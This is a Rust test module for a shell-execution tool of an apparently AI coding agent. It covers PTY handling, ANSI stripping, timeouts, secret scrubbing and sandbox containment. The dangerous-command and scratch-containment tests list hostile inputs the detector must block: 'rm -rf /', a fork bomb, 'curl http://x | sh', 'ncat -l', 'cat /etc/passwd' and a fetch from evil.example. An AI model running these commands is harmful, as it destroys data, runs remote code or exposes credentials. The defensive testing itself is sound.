1165 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1167 let outcome = ExecuteCommandTool
1168 .execute(
1169 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
1170 ctx,
1171 )
1172 .await;
1173 assert!(outcome.is_success(), "{outcome:?}");
1174 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
1175 assert!(
1176 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
1177 "tty should name the pts: {}",
1178 outcome.output()
1179 );
1180 let (ctx, _rx) = pipes_ctx();
1182 let outcome = ExecuteCommandTool
1183 .execute(
1184 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
1185 ctx,
1186 )
1187 .await;
1188 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
1189 }
1190
1191 #[cfg(unix)]
1192 #[tokio::test]
1193 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
1194 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1195 let outcome = ExecuteCommandTool
1198 .execute(
1199 serde_json::json!({
1200 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
1201 }),
1202 ctx,
1203 )
1204 .await;
1205 assert!(outcome.is_success(), "{outcome:?}");
1206 let out = outcome.output();
1207 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
1208 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1209 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1210 }
1211
1212 #[cfg(windows)]
1216 #[tokio::test]
1217 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
1218 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
1219 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1221 let outcome = ExecuteCommandTool
1222 .execute(serde_json::json!({ "command": probe }), ctx)
1223 .await;
1224 assert!(outcome.is_success(), "{outcome:?}");
1225 assert!(
1226 outcome.output().contains("False"),
1227 "ConPTY child must see a console: {}",
1228 outcome.output()
1229 );
1230 let (ctx, _rx) = pipes_ctx();
1232 let outcome = ExecuteCommandTool
1233 .execute(serde_json::json!({ "command": probe }), ctx)
1234 .await;
1235 assert!(outcome.is_success(), "{outcome:?}");
1236 assert!(
1237 outcome.output().contains("True"),
1238 "pipe child must see redirected stdout: {}",
1239 outcome.output()
1240 );
1241 }
1242
1243 #[cfg(windows)]
1248 #[tokio::test]
1249 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
1250 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1251 let outcome = ExecuteCommandTool
1252 .execute(
1253 serde_json::json!({ "command": "echo RED; echo line2" }),
1254 ctx,
1255 )
1256 .await;
1257 assert!(outcome.is_success(), "{outcome:?}");
1258 let out = outcome.output();
1259 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1260 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1261 let lines: Vec<&str> = out.lines().map(str::trim).collect();
1262 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
1263 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
1264 }
1265
1266 #[test]
1267 pub(crate) fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
1268 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
1271 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
1272 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
1273 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
1274 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
1275 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
1276 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
1277 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
1280 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
1281 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
1282 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
1284 assert_eq!(strip_ansi("x\u{7}y"), "xy");
1285 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
1287 assert_eq!(strip_ansi("\u{8}b"), "b");
1288 assert_eq!(strip_ansi("plain text"), "plain text");
1290 assert_eq!(strip_ansi("x\u{1b}"), "x");
1292 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
1293 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
1295 }
1296
1297 #[test]
1298 pub(crate) fn capped_capture_keeps_head_and_tail() {
1299 let mut c = CappedCapture::new(64);
1301 c.push(b"hello ");
1302 c.push(b"world");
1303 let (out, truncated) = c.finish();
1304 assert_eq!(out, "hello world");
1305 assert!(!truncated);
1306 let mut c = CappedCapture::new(20);
1308 c.push(b"AAAAAAAAAA");
1309 c.push(&[b'x'; 100]);
1310 c.push(b"BBBBBBBBBB");
1311 let (out, truncated) = c.finish();
1312 assert!(truncated);
1313 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
1314 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
1315 assert!(out.contains("truncated"), "marker present: {out:?}");
1316 }
1317
1318 #[test]
1319 pub(crate) fn secret_env_names_reports_planted_secret() {
1320 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
1322 let names = secret_env_names();
1323 assert!(
1324 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
1325 "planted secret name must be scrubbed: {names:?}"
1326 );
1327 assert!(!names.iter().any(|n| n == "PATH"));
1328 });
1329 }
1330
1331 #[test]
1332 pub(crate) fn harden_env_sets_git_terminal_prompt() {
1333 let mut cmd = Command::new("sh");
1334 harden_noninteractive_env(&mut cmd);
1335 let set = cmd
1336 .as_std()
1337 .get_envs()
1338 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
1339 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
1340 }
1341
1342 #[tokio::test]
1343 async fn dangerous_command_blocked() {
1344 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1345 let outcome = ExecuteCommandTool
1346 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
1347 .await;
1348 let error = outcome.error_message().expect("expected error");
1349 assert!(error.contains("Dangerous"));
1350 }
1351
1352 #[tokio::test]
1353 async fn cancellation_aborts_long_running_command() {
1354 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1355 let token = ctx.token.clone();
1356 let handle = tokio::spawn(async move {
1363 ExecuteCommandTool
1364 .execute(serde_json::json!({"command": "sleep 30"}), ctx)
1365 .await
1366 });
1367 tokio::time::sleep(Duration::from_millis(30)).await;
1369 token.cancel();
1370 let start = Instant::now();
1371 let outcome = tokio::time::timeout(Duration::from_secs(15), handle)
1372 .await
1373 .expect("didn't hang")
1374 .expect("join");
1375 let elapsed = start.elapsed();
1376 assert!(outcome.was_cancelled());
1377 assert!(
1381 elapsed < Duration::from_secs(10),
1382 "cancellation took {elapsed:?} — far slower than expected (regression?)"
1383 );
1384 }
1385
1386 #[tokio::test]
1387 async fn timeout_honored() {
1388 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1389 let outcome = ExecuteCommandTool
1390 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
1391 .await;
1392 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1393 let output = outcome.as_tool_message_content();
1394 assert!(output.contains("timed out"));
1395 assert!(output.contains("was killed"));
1396 assert!(output.contains("mode=\"background\""));
1397 }
1398
1399 #[cfg(not(target_os = "windows"))]
1404 #[tokio::test]
1405 async fn timeout_kills_process_tree() {
1406 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1407 let marker =
1409 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
1410 let _ = std::fs::remove_file(&marker);
1411 let command = format!(
1412 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
1413 marker.display()
1414 );
1415 let outcome = ExecuteCommandTool
1416 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
1417 .await;
1418 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1419
1420 let mut pid = None;
1423 for _ in 0..30 {
1424 if let Ok(s) = std::fs::read_to_string(&marker)
1425 && let Ok(p) = s.trim().parse::<u32>()
1426 {
1427 pid = Some(p);
1428 break;
1429 }
1430 tokio::time::sleep(Duration::from_millis(50)).await;
1431 }
1432 let pid = pid.expect("grandchild never recorded its pid");
1433
1434 let mut alive = true;
1436 for _ in 0..40 {
1437 if !process_running(pid).await {
1438 alive = false;
1439 break;
1440 }
1441 tokio::time::sleep(Duration::from_millis(50)).await;
1442 }
1443 let _ = std::fs::remove_file(&marker);
1444 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
1445 }
1446
1447 #[cfg(not(target_os = "windows"))]
1448 #[tokio::test]
1449 async fn background_mode_returns_pid_log_and_detected_url() {
1450 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1451 let outcome = ExecuteCommandTool
1452 .execute(
1453 serde_json::json!({
1454 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
1455 "mode": "background",
1456 "startup_timeout_secs": 2,
1457 "ready_pattern": "ready"
1458 }),
1459 ctx,
1460 )
1461 .await;
1462
1463 assert!(
1464 outcome.is_success(),
1465 "expected background success: {:?}",
1466 outcome
1467 );
1468 let output = outcome.output().to_string();
1469 assert!(output.contains("Background command started"));
1470 assert!(output.contains("PID:"));
1471 assert!(output.contains("Log:"));
1472 assert!(output.contains("Ready: matched pattern"));
1473 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
1474
1475 if let Some(pid) = parse_pid(&output) {
1476 let _ = Command::new("kill").arg(pid.to_string()).status().await;
1477 }
1478 }
1479
1480 #[cfg(target_os = "windows")]
1481 #[tokio::test]
1482 async fn background_mode_returns_pid_and_log_on_windows() {
1483 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1484 let outcome = ExecuteCommandTool
1485 .execute(
1486 serde_json::json!({
1495 "command": "cmd /c echo ready; ping -n 60 127.0.0.1",
1496 "mode": "background",
1497 "startup_timeout_secs": 15,
1498 "ready_pattern": "ready"
1499 }),
1500 ctx,
1501 )
1502 .await;
1503
1504 assert!(
1505 outcome.is_success(),
1506 "expected background success on Windows: {outcome:?}"
1507 );
1508 let output = outcome.output().to_string();
1509 assert!(output.contains("Background command started"));
1510 assert!(output.contains("PID:"));
1511 assert!(output.contains("Ready: matched pattern"));
1512 assert!(
1514 outcome.metadata.process.is_some(),
1515 "background outcome must carry a ManagedProcess"
1516 );
1517
1518 if let Some(pid) = parse_pid(&output) {
1520 mermaid_model::utils::terminate_tree(pid, mermaid_model::utils::Grace::Graceful).await;
1521 }
1522 }
1523
1524 #[tokio::test]
1525 async fn ctrl_b_backgrounds_a_running_foreground_command() {
1526 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1527 let background = ctx.background.clone();
1528 let command = if cfg!(target_os = "windows") {
1530 "ping -n 30 127.0.0.1"
1531 } else {
1532 "sleep 30"
1533 };
1534
1535 let canceller = tokio::spawn(async move {
1537 tokio::time::sleep(Duration::from_millis(300)).await;
1538 background.cancel();
1539 });
1540 let outcome = ExecuteCommandTool
1541 .execute(
1542 serde_json::json!({ "command": command, "timeout": 60 }),
1543 ctx,
1544 )
1545 .await;
1546 let _ = canceller.await;
1547
1548 assert!(
1549 outcome.is_success(),
1550 "backgrounding should yield success: {outcome:?}"
1551 );
1552 let output = outcome.output().to_string();
1553 assert!(output.contains("Moved to background"), "got: {output}");
1554 let process = outcome.metadata.process.clone();
1556 assert!(
1557 process.is_some(),
1558 "background outcome must carry a ManagedProcess"
1559 );
1560
1561 if let Some(p) = process {
1563 mermaid_model::utils::terminate_tree(p.pid, mermaid_model::utils::Grace::Graceful)
1564 .await;
1565 }
1566 }
1567
1568 pub(crate) fn parse_pid(output: &str) -> Option<u32> {
1569 output
1570 .lines()
1571 .find_map(|line| line.strip_prefix("PID: "))
1572 .and_then(|pid| pid.trim().parse().ok())
1573 }
1574
1575 #[test]
1576 pub(crate) fn dangerous_detection_covers_known_shapes() {
1577 assert!(contains_dangerous_command("rm -rf /"));
1578 assert!(contains_dangerous_command(":(){ :|:& };:"));
1579 assert!(contains_dangerous_command("ncat -l 8080"));
1580 assert!(!contains_dangerous_command("ls -la"));
1581 assert!(!contains_dangerous_command("cargo build"));
1582 assert!(!contains_dangerous_command(
1583 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
1584 ));
1585 }
1586
1587 #[test]
1588 pub(crate) fn dangerous_detection_resists_substring_evasion() {
1589 assert!(contains_dangerous_command("RM -RF /"));
1592 assert!(contains_dangerous_command("rm -rf /"));
1593 assert!(contains_dangerous_command("echo hi; rm -rf /"));
1594 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
1595 assert!(contains_dangerous_command("curl http://x | sh"));
1596 assert!(contains_dangerous_command("curl http://x|sh"));
1597 assert!(contains_dangerous_command("/bin/rm -rf /"));
1598 assert!(!contains_dangerous_command("bash build.sh"));
1600 assert!(!contains_dangerous_command("echo done > /dev/null"));
1601 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
1602 }
1603
1604 #[tokio::test]
1605 async fn read_capped_keeps_head_and_tail_on_overflow() {
1606 let mut data = Vec::new();
1608 data.extend_from_slice(b"HEAD_START");
1609 data.extend(std::iter::repeat_n(b'x', 5000));
1610 data.extend_from_slice(b"TAIL_ERROR_HERE");
1611 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
1612 assert!(truncated, "oversized output must be marked truncated");
1613 assert!(out.contains("HEAD_START"), "head must survive: {out}");
1614 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
1615 assert!(out.contains("elided"), "must mark the elision: {out}");
1616 }
1617
1618 #[tokio::test]
1619 async fn read_capped_small_output_is_verbatim() {
1620 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
1621 assert!(!truncated, "small output must not be truncated");
1622 assert_eq!(out, "short output");
1623 }
1624
1625 #[test]
1626 pub(crate) fn scratch_prover_accepts_only_provably_contained_commands() {
1627 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
1628
1629 for cmd in [
1632 "ls",
1633 "ls -la",
1634 "mkdir out",
1635 "touch notes.txt",
1636 "cp a.txt sub/b.txt",
1637 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
1638 "rm -f old.log",
1639 ] {
1640 assert!(
1641 command_provably_in_scratch(cmd, scratch),
1642 "{cmd:?} should prove scratch-contained",
1643 );
1644 }
1645
1646 for cmd in [
1648 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
1669 assert!(
1670 !command_provably_in_scratch(cmd, scratch),
1671 "{cmd:?} must NOT prove scratch-contained",
1672 );
1673 }
1674 }
1675
1676 #[test]
1677 pub(crate) fn classify_cwd_three_way_containment() {
1678 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
1679 let _ = std::fs::remove_dir_all(&base);
1680 let project = base.join("project");
1681 let scratch = base.join("scratch");
1682 std::fs::create_dir_all(&project).unwrap();
1683 std::fs::create_dir_all(&scratch).unwrap();
1684 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
1685 let outside = std::fs::canonicalize(&base).unwrap();
1686
1687 assert_eq!(
1689 classify_cwd(true, &project, Some(&scratch)),
1690 CwdContainment::Project
1691 );
1692 assert_eq!(
1695 classify_cwd(false, &scratch_real, Some(&scratch)),
1696 CwdContainment::Scratchpad
1697 );
1698 assert_eq!(
1700 classify_cwd(false, &scratch_real, None),
1701 CwdContainment::External
1702 );
1703 assert_eq!(
1705 classify_cwd(false, &outside, Some(&scratch)),
1706 CwdContainment::External
1707 );
1708 assert_eq!(
1710 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
1711 CwdContainment::External
1712 );
1713
1714 let _ = std::fs::remove_dir_all(&base);
1715 }
1716
1717 #[tokio::test]
1718 async fn scratch_cwd_is_not_escalated_to_external_directory() {
1719 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
1724 let _ = std::fs::remove_dir_all(&base);
1725 let project = base.join("project");
1726 let scratch = base.join("scratch");
1727 std::fs::create_dir_all(&project).unwrap();
1728 std::fs::create_dir_all(&scratch).unwrap();
1729
1730 let mut config = mermaid_domain::Config::default();
1733 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1734 let (mut ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1735 TurnId(1),
1736 ToolCallId(1),
1737 project.clone(),
1738 config,
1739 );
1740 ctx.scratchpad = Some(scratch.clone());
1741 let outcome = ExecuteCommandTool
1742 .execute(
1743 serde_json::json!({
1744 "command": "echo hi",
1745 "working_dir": scratch.display().to_string(),
1746 }),
1747 ctx,
1748 )
1749 .await;
1750 assert!(
1751 outcome.is_success(),
1752 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
1753 );
1754
1755 let _ = std::fs::remove_dir_all(&base);
1756 }
1757
1758 #[tokio::test]
1759 async fn child_env_carries_scratchpad_export() {
1760 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
1763 std::fs::create_dir_all(&dir).unwrap();
1764 #[cfg(unix)]
1765 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
1766 #[cfg(windows)]
1767 let probe = "if ($env:MERMAID_SCRATCHPAD) { Write-Output $env:MERMAID_SCRATCHPAD } else { Write-Output UNSET }";
1768
1769 let run = |scratchpad: Option<PathBuf>| {
1770 let dir = dir.clone();
1771 async move {
1772 let mut cmd = build_sandboxed_shell(probe, false, None);
1773 cmd.current_dir(&dir)
1774 .stdin(Stdio::null())
1775 .stdout(Stdio::piped())
1776 .stderr(Stdio::null())
1777 .env_remove(SCRATCHPAD_ENV_VAR);
1780 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
1781 let out = cmd.output().await.expect("probe spawns");
1782 String::from_utf8_lossy(&out.stdout).trim().to_string()
1783 }
1784 };
1785
1786 let exported = run(Some(dir.clone())).await;
1787 assert_eq!(
1788 exported,
1789 dir.display().to_string(),
1790 "child must see the scratchpad path",
1791 );
1792 let absent = run(None).await;
1793 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
1794
1795 let _ = std::fs::remove_dir_all(&dir);
1796 }
1797}